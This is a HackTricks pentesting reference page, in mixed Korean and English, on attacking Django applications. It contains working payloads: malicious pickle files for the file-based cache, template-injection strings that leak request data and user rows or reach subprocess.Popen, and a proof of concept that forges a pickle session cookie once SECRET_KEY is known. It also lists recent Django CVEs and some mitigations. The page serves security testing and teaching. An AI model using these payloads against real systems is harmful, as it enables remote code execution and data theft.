Django

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Cache Manipulation to RCE

Django์˜ ๊ธฐ๋ณธ ์บ์‹œ ์ €์žฅ ๋ฐฉ์‹์€ Python pickles์ด๋ฉฐ, untrusted input is unpickled ๊ฒฝ์šฐ RCE๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๊ฐ€ ์บ์‹œ์— ์“ฐ๊ธฐ ๊ถŒํ•œ์„ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค๋ฉด, ์ด ์ทจ์•ฝ์ ์„ ๊ธฐ๋ฐ˜ ์„œ๋ฒ„์—์„œ์˜ RCE๋กœ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Django ์บ์‹œ๋Š” ๋‹ค์Œ ๋„ค ๊ณณ ์ค‘ ํ•˜๋‚˜์— ์ €์žฅ๋ฉ๋‹ˆ๋‹ค: Redis, memory, files, ๋˜๋Š” database์— ์ €์žฅ๋ฉ๋‹ˆ๋‹ค. Redis ์„œ๋ฒ„๋‚˜ database์— ์ €์žฅ๋œ ์บ์‹œ๊ฐ€ ๊ฐ€์žฅ ์œ ๋ ฅํ•œ ๊ณต๊ฒฉ ๋ฒกํ„ฐ(Redis injection and SQL injection)์ด์ง€๋งŒ, ๊ณต๊ฒฉ์ž๋Š” ํŒŒ์ผ ๊ธฐ๋ฐ˜ ์บ์‹œ๋ฅผ ์ด์šฉํ•ด ์ž„์˜์˜ ์“ฐ๊ธฐ๋ฅผ RCE๋กœ ์ „ํ™˜ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ฉ”์ธํ…Œ์ด๋„ˆ๋“ค์€ ์ด๋ฅผ ๋น„๋ฌธ์ œ๋กœ ํ‘œ์‹œํ–ˆ์Šต๋‹ˆ๋‹ค. ์บ์‹œ ํŒŒ์ผ ํด๋”, SQL ํ…Œ์ด๋ธ” ์ด๋ฆ„, Redis ์„œ๋ฒ„ ์„ธ๋ถ€ ์‚ฌํ•ญ์€ ๊ตฌํ˜„์— ๋”ฐ๋ผ ๋‹ฌ๋ผ์ง„๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”.

On FileBasedCache, the pickled value is written to a file under CACHES['default']['LOCATION'] (often /var/tmp/django_cache/). If that directory is world-writable or attacker-controlled, dropping a malicious pickle under the expected cache key yields code execution when the app reads it:

python - <<'PY'
import pickle, os
class RCE:
def __reduce__(self):
return (os.system, ("id >/tmp/pwned",))
open('/var/tmp/django_cache/cache:malicious', 'wb').write(pickle.dumps(RCE(), protocol=4))
PY

This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436


Server-Side Template Injection (SSTI)

The Django Template Language (DTL) is ํŠœ๋ง ์™„์ „. If user-supplied data is rendered as a template string (for example by calling Template(user_input).render() or when |safe/format_html() removes auto-escaping), an attacker may achieve full SSTI โ†’ RCE.

ํƒ์ง€

  1. Template() / Engine.from_string() / render_to_string() ๊ฐ™์€ ๋™์  ํ˜ธ์ถœ์—์„œ ์–ด๋–ค ๊ฒ€์ฆ๋˜์ง€ ์•Š์€ ์š”์ฒญ ๋ฐ์ดํ„ฐ๊ฐ€ ํฌํ•จ๋˜๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.
  2. ์‹œ๊ฐ„ ๊ธฐ๋ฐ˜ ๋˜๋Š” ์‚ฐ์ˆ  ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ „์†กํ•ด๋ณด์„ธ์š”:
{{7*7}}

๋ Œ๋”๋œ ์ถœ๋ ฅ์— 49๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์œผ๋ฉด ์ž…๋ ฅ์ด ํ…œํ”Œ๋ฆฟ ์—”์ง„์— ์˜ํ•ด ์ปดํŒŒ์ผ๋œ ๊ฒƒ์ž…๋‹ˆ๋‹ค. 3. DTL์€ Jinja2๊ฐ€ ์•„๋‹™๋‹ˆ๋‹ค: ์‚ฐ์ˆ /๋ฃจํ”„ ํŽ˜์ด๋กœ๋“œ๋Š” ํ‰๊ฐ€๊ฐ€ ์ˆ˜ํ–‰๋˜์—ˆ์Œ์„ ์ฆ๋ช…ํ•˜๋ฉด์„œ๋„ ์ข…์ข… TemplateSyntaxError/500์„ ์œ ๋ฐœํ•ฉ๋‹ˆ๋‹ค. ${{<%[%'"}}% ๊ฐ™์€ polyglots๋Š” ํฌ๋ž˜์‹œ ๋˜๋Š” ๋ Œ๋” ํ™•์ธ์šฉ ํ”„๋กœ๋ธŒ๋กœ ์ข‹์Šต๋‹ˆ๋‹ค.

Context exfiltration when RCE is blocked

Even if object-walking to subprocess.Popen fails, DTL still exposes in-scope objects:

{{ request }}               {# confirm SSTI #}
{{ request.META }}           {# leak Gunicorn/UWSGI headers, cookies, proxy info #}
{{ users }}                  {# QuerySet in the context? #}
{{ users.0 }}                {# first row #}
{{ users.values }}           {# dumps dicts of every column (email/flags/plaintext passwords if stored) #}

QuerySet.values()๋Š” ํ–‰์„ ๋”•์…”๋„ˆ๋ฆฌ๋กœ ๊ฐ•์ œ ๋ณ€ํ™˜ํ•˜์—ฌ __str__๋ฅผ ์šฐํšŒํ•˜๊ณ  queryset์ด ๋ฐ˜ํ™˜ํ•˜๋Š” ๋ชจ๋“  ํ•„๋“œ๋ฅผ ๋…ธ์ถœ์‹œํ‚จ๋‹ค. ์ด๋Š” ์ง์ ‘์ ์ธ Python ์‹คํ–‰์ด ํ•„ํ„ฐ๋ง๋  ๋•Œ์—๋„ ๋™์ž‘ํ•œ๋‹ค.

Automation pattern: authenticate, grab the CSRF token, ์ž„์˜์˜ ์˜๊ตฌ ํ•„๋“œ(์˜ˆ: username/profile bio)์— marker-prefixed payload๋ฅผ ์ €์žฅํ•œ ๋’ค, ์ด๋ฅผ ๋ Œ๋”ํ•˜๋Š” ๋ทฐ๋ฅผ ์š”์ฒญํ•œ๋‹ค (AJAX endpoints like /likes/<id>๊ฐ€ ํ”ํ•˜๋‹ค). ์•ˆ์ •์ ์ธ ์†์„ฑ(์˜ˆ: title="...")์„ ํŒŒ์‹ฑํ•ด ๋ Œ๋”๋œ ๊ฒฐ๊ณผ๋ฅผ ๋ณต๊ตฌํ•˜๊ณ  payloads๋ฅผ ์ˆœํšŒํ•œ๋‹ค.

Primitive to RCE

Django๋Š” __import__์— ๋Œ€ํ•œ ์ง์ ‘ ์ ‘๊ทผ์„ ์ฐจ๋‹จํ•˜์ง€๋งŒ, Python ๊ฐ์ฒด ๊ทธ๋ž˜ํ”„์—๋Š” ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค:

{{''.__class__.mro()[1].__subclasses__()}}

subprocess.Popen์˜ ์ธ๋ฑ์Šค(โ‰ˆ400โ€“500, Python ๋นŒ๋“œ์— ๋”ฐ๋ผ ๋‹ค๋ฆ„)๋ฅผ ์ฐพ์•„ ์ž„์˜์˜ ๋ช…๋ น์„ ์‹คํ–‰:

{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}

A safer universal gadget is to iterate until cls.__name__ == 'Popen'.

The same gadget works for Debug Toolbar or Django-CMS template rendering features that mishandle user input.


๋˜ํ•œ ์ฐธ๊ณ : ReportLab/xhtml2pdf PDF export RCE

Django ๊ธฐ๋ฐ˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์ผ๋ฐ˜์ ์œผ๋กœ xhtml2pdf/ReportLab๋ฅผ ํ†ตํ•ฉํ•ด ๋ทฐ๋ฅผ PDF๋กœ ๋‚ด๋ณด๋ƒ…๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž ์ œ์–ด HTML์ด PDF ์ƒ์„ฑ์œผ๋กœ ํ˜๋Ÿฌ๋“ค์–ด๊ฐˆ ๊ฒฝ์šฐ, rl_safe_eval์€ ์‚ผ์ค‘ ๊ด„ํ˜ธ [[[ ... ]]] ์•ˆ์˜ ํ‘œํ˜„์‹์„ ํ‰๊ฐ€ํ•˜์—ฌ ์ฝ”๋“œ ์‹คํ–‰์„ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (CVE-2023-33733). ์ƒ์„ธ ๋‚ด์šฉ, ํŽ˜์ด๋กœ๋“œ, ์™„ํ™”์ฑ…:

Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733


Pickle ๊ธฐ๋ฐ˜ ์„ธ์…˜ ์ฟ ํ‚ค RCE

์„ค์ • SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'์ด ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๊ฑฐ๋‚˜(๋˜๋Š” pickle์„ ์—ญ์ง๋ ฌํ™”ํ•˜๋Š” ์ปค์Šคํ…€ serializer๊ฐ€ ์‚ฌ์šฉ๋˜๋Š” ๊ฒฝ์šฐ), Django๋Š” ์„ธ์…˜ ์ฟ ํ‚ค๋ฅผ decrypts and unpicklesํ•œ ๋‹ค์Œ view ์ฝ”๋“œ๋ฅผ ํ˜ธ์ถœํ•˜๊ธฐ ์ „์— ์ฒ˜๋ฆฌํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์œ ํšจํ•œ signing key(๊ธฐ๋ณธ์ ์œผ๋กœ ํ”„๋กœ์ ํŠธ์˜ SECRET_KEY)๋ฅผ ๋ณด์œ ํ•˜๊ณ  ์žˆ์œผ๋ฉด ์ฆ‰์‹œ ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

Exploit Requirements

  • ์„œ๋ฒ„๊ฐ€ PickleSerializer๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • ๊ณต๊ฒฉ์ž๊ฐ€ settings.SECRET_KEY์„ ์•Œ๊ณ  ์žˆ๊ฑฐ๋‚˜ ์ถ”์ธกํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (leaks via GitHub, .env, error pages, etc.).

Proof-of-Concept

#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64

class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))

mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")

๊ฒฐ๊ณผ๋กœ ์ƒ์„ฑ๋œ ์ฟ ํ‚ค๋ฅผ ์ „์†กํ•˜๋ฉด ํŽ˜์ด๋กœ๋“œ๊ฐ€ WSGI ์›Œ์ปค์˜ ๊ถŒํ•œ์œผ๋กœ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.

์™„ํ™” ์กฐ์น˜: ๊ธฐ๋ณธ JSONSerializer๋ฅผ ์œ ์ง€ํ•˜๊ณ , SECRET_KEY๋ฅผ ์ฃผ๊ธฐ์ ์œผ๋กœ ๊ต์ฒดํ•˜๋ฉฐ, SESSION_COOKIE_HTTPONLY๋ฅผ ์„ค์ •ํ•˜์„ธ์š”.


์ตœ๊ทผ(2023-2025) ํŽœํ…Œ์Šคํ„ฐ๊ฐ€ ํ™•์ธํ•ด์•ผ ํ•  ์˜ํ–ฅ๋ ฅ ํฐ Django CVE

  • CVE-2025-48432 โ€“ Log Injection via unescaped request.path (fixed June 4 2025). ๊ณต๊ฒฉ์ž๊ฐ€ ๊ฐœํ–‰(newline)/ANSI ์ฝ”๋“œ๋ฅผ ๋กœ๊ทธ ํŒŒ์ผ์— ์ฃผ์ž…ํ•ด ํ•˜์œ„ ๋กœ๊ทธ ๋ถ„์„์„ ์˜ค์—ผ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํŒจ์น˜ ์ˆ˜์ค€ โ‰ฅ 4.2.22 / 5.1.10 / 5.2.2.
  • CVE-2024-42005 โ€“ Critical SQL injection in QuerySet.values()/values_list() on JSONField (CVSS 9.8). JSON ํ‚ค๋ฅผ ์กฐ์ž‘ํ•ด ์ธ์šฉ๋ถ€ํ˜ธ๋ฅผ ํƒˆ์ถœ์‹œํ‚ค๊ณ  ์ž„์˜์˜ SQL์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Fixed in 4.2.15 / 5.0.8.

ํ•ญ์ƒ X-Frame-Options ์˜ค๋ฅ˜ ํŽ˜์ด์ง€๋‚˜ /static/admin/css/base.css ํ•ด์‹œ๋กœ ์ •ํ™•ํ•œ ํ”„๋ ˆ์ž„์›Œํฌ ๋ฒ„์ „์„ ์ง€๋ฌธ(fingerprint)์œผ๋กœ ์‹๋ณ„ํ•˜๊ณ , ํ•ด๋‹น๋˜๋Š” ๊ฒฝ์šฐ ์œ„ ํ•ญ๋ชฉ๋“ค์„ ํ…Œ์ŠคํŠธํ•˜์„ธ์š”.


์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ